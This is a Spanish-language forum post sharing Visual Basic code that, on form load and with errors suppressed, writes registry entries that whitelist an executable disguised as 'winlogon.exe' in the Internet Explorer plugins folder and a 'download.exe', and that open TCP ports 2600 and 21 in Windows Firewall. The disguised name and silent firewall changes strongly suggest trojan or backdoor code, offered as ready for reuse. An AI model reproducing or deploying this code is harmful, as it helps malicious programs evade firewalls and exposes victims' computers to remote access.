Listo, ya se ejecuto correctamente, para LOS QUE TENGAN EL MISMO PROBLEMA, aqui les dejo el codigo:
Citar
Private Sub Form_Load()
On Error Resume Next
Set WS = CreateObject("WScript.Shell") ' asignamos a una variable el objeto
WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", "C:\Program Files\Internet Explorer\PLUGINS\winlogon.exe", "C:\Program Files\Internet Explorer\PLUGINS\winlogon.exe:*:Enabled:winlogon", "RegString"
WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "2600:TCP", "2600:TCP:*:Enabled:Puerto Security Data", "RegString"
WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", "C:\WINDOWS\System32\download.exe", "C:\Program Files\Internet Explorer\PLUGINS\winlogon.exe:*:Enabled:download", "RegString"
WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "21:TCP", "21:TCP:*:Enabled:Puerto Security Data", "RegString"
End Sub